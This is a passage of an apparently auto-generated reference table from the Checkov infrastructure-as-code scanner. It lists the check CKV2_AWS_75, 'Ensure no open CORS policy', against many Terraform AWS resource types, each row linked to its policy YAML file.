|\n| 2460 | CKV2_AWS_75     | resource | aws_config_configuration_recorder                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2461 | CKV2_AWS_75     | resource | aws_config_configuration_recorder_status                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2462 | CKV2_AWS_75     | resource | aws_config_conformance_pack                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2463 | CKV2_AWS_75     | resource | aws_config_delivery_channel                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2464 | CKV2_AWS_75     | resource | aws_config_organization_conformance_pack                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2465 | CKV2_AWS_75     | resource | aws_config_organization_custom_policy_rule                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2466 | CKV2_AWS_75     | resource | aws_config_organization_custom_rule                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2467 | CKV2_AWS_75     | resource | aws_config_organization_managed_rule                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2468 | CKV2_AWS_75     | resource | aws_config_remediation_configuration                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2469 | CKV2_AWS_75     | resource | aws_config_retention_configuration                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2470 | CKV2_AWS_75     | resource | aws_connect_bot_association                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2471 | CKV2_AWS_75     | resource | aws_connect_contact_flow                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2472 | CKV2_AWS_75     | resource | aws_connect_contact_flow_module                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2473 | CKV2_AWS_75     | resource | aws_connect_hours_of_operation                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2474 | CKV2_AWS_75     | resource | aws_connect_instance                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2475 | CKV2_AWS_75     | resource | aws_connect_instance_storage_config                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2476 | CKV2_AWS_75     | resource | aws_connect_lambda_function_association                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2477 | CKV2_AWS_75     | resource | aws_connect_phone_number                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2478 | CKV2_AWS_75     | resource | aws_connect_queue                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2479 | CKV2_AWS_75     | resource | aws_connect_quick_connect                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2480 | CKV2_AWS_75     | resource | aws_connect_routing_profile                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2481 | CKV2_AWS_75     | resource | aws_connect_security_profile                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2482 | CKV2_AWS_75     | resource | aws_connect_user                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2483 | CKV2_AWS_75     | resource | aws_connect_user_hierarchy_group                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2484 | CKV2_AWS_75     | resource | aws_connect_user_hierarchy_structure                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2485 | CKV2_AWS_75     | resource | aws_connect_vocabulary                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2486 | CKV2_AWS_75     | resource | aws_controltower_control                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2487 | CKV2_AWS_75     | resource | aws_controltower_landing_zone                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2488 | CKV2_AWS_75     | resource | aws_costoptimizationhub_enrollment_status                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2489 | CKV2_AWS_75     | resource | aws_costoptimizationhub_preferences                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2490 | CKV2_AWS_75     | resource | aws_cur_report_definition                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2491 | CKV2_AWS_75     | resource | aws_customer_gateway                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2492 | CKV2_AWS_75     | resource | aws_customerprofiles_domain                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2493 | CKV2_AWS_75     | resource | aws_customerprofiles_profile                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2494 | CKV2_AWS_75     | resource | aws_dataexchange_data_set                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2495 | CKV2_AWS_75     | resource | aws_dataexchange_revision                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2496 | CKV2_AWS_75     | resource | aws_datapipeline_pipeline                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2497 | CKV2_AWS_75     | resource | aws_datapipeline_pipeline_definition                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2498 | CKV2_AWS_75     | resource | aws_datasync_agent                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2499 | CKV2_AWS_75     | resource | aws_datasync_location_azure_blob                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2500 | CKV2_AWS_75     | resource | aws_datasync_location_efs                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2501 | CKV2_AWS_75     | resource | aws_datasync_location_fsx_lustre_file_system                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2502 | CKV2_AWS_75     | resource | aws_datasync_location_fsx_ontap_file_system                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2503 | CKV2_AWS_75     | resource | aws_datasync_location_fsx_openzfs_file_system                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2504 | CKV2_AWS_75     | resource | aws_datasync_location_fsx_windows_file_system                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2505 | CKV2_AWS_75     | resource | aws_datasync_location_hdfs                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2506 | CKV2_AWS_75     | resource | aws_datasync_location_nfs                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2507 | CKV2_AWS_75     | resource | aws_datasync_location_object_storage                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2508 | CKV2_AWS_75     | resource | aws_datasync_location_s3                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2509 | CKV2_AWS_75     | resource | aws_datasync_location_smb                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2510 | CKV2_AWS_75     | resource | aws_datasync_task                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2511 | CKV2_AWS_75     | resource | aws_datazone_asset_type                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2512 | CKV2_AWS_75     | resource | aws_datazone_domain                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2513 | CKV2_AWS_75     | resource | aws_datazone_environment                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2514 | CKV2_AWS_75     | resource | aws_datazone_environment_blueprint_configuration                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2515 | CKV2_AWS_75     | resource | aws_datazone_environment_profile                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2516 | CKV2_AWS_75     | resource | aws_datazone_form_type                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2517 | CKV2_AWS_75     | resource | aws_datazone_glossary                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2518 | CKV2_AWS_75     | resource | aws_datazone_glossary_term                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2519 | CKV2_AWS_75     | resource | aws_datazone_project                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2520 | CKV2_AWS_75     | resource | aws_datazone_user_profile                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2521 | CKV2_AWS_75     | resource | aws_dax_cluster                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2522 | CKV2_AWS_75     | resource | aws_dax_parameter_group                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2523 | CKV2_AWS_75     | resource | aws_dax_subnet_group                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2524 | CKV2_AWS_75     | resource | aws_db_cluster_snapshot                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2525 | CKV2_AWS_75     | resource | aws_db_event_subscription                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2526 | CKV2_AWS_75     | resource | aws_db_instance                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2527 | CKV2_AWS_75     | resource | aws_db_instance_automated_backups_replication                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2528 | CKV2_AWS_75     | resource | aws_db_instance_role_association                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2529 | CKV2_AWS_75     | resource | aws_db_option_group                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2530 | CKV2_AWS_75     | resource | aws_db_parameter_group                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2531 | CKV2_AWS_75     | resource | aws_db_proxy                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2532 | CKV2_AWS_75     | resource | aws_db_proxy_default_target_group                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2533 | CKV2_AWS_75     | resource | aws_db_proxy_endpoint                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2534 | CKV2_AWS_75     | resource | aws_db_proxy_target                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2535 | CKV2_AWS_75     | resource | aws_db_security_group                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2536 | CKV2_AWS_75     | resource | aws_db_snapshot                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2537 | CKV2_AWS_75     | resource | aws_db_snapshot_copy                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2538 | CKV2_AWS_75     | resource | aws_db_subnet_group                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2539 | CKV2_AWS_75     | resource | aws_default_network_acl                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2540 | CKV2_AWS_75     | resource | aws_default_route_table                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2541 | CKV2_AWS_75     | resource | aws_default_security_group                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2542 | CKV2_AWS_75     | resource | aws_default_subnet                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2543 | CKV2_AWS_75     | resource | aws_default_vpc                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2544 | CKV2_AWS_75     | resource | aws_default_vpc_dhcp_options                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2545 | CKV2_AWS_75     | resource | aws_detective_graph                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2546 | CKV2_AWS_75     | resource | aws_detective_invitation_accepter                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2547 | CKV2_AWS_75     | resource | aws_detective_member                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2548 | CKV2_AWS_75     | resource | aws_detective_organization_admin_account                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2549 | CKV2_AWS_75     | resource | aws_detective_organization_configuration                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2550 | CKV2_AWS_75     | resource | aws_devicefarm_device_pool                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2551 | CKV2_AWS_75     | resource | aws_devicefarm_instance_profile                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2552 | CKV2_AWS_75     | resource | aws_devicefarm_network_profile                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2553 | CKV2_AWS_75     | resource | aws_devicefarm_project                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2554 | CKV2_AWS_75     | resource | aws_devicefarm_test_grid_project                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2555 | CKV2_AWS_75     | resource | aws_devicefarm_upload                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2556 | CKV2_AWS_75     | resource | aws_devopsguru_event_sources_config                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 2557 | 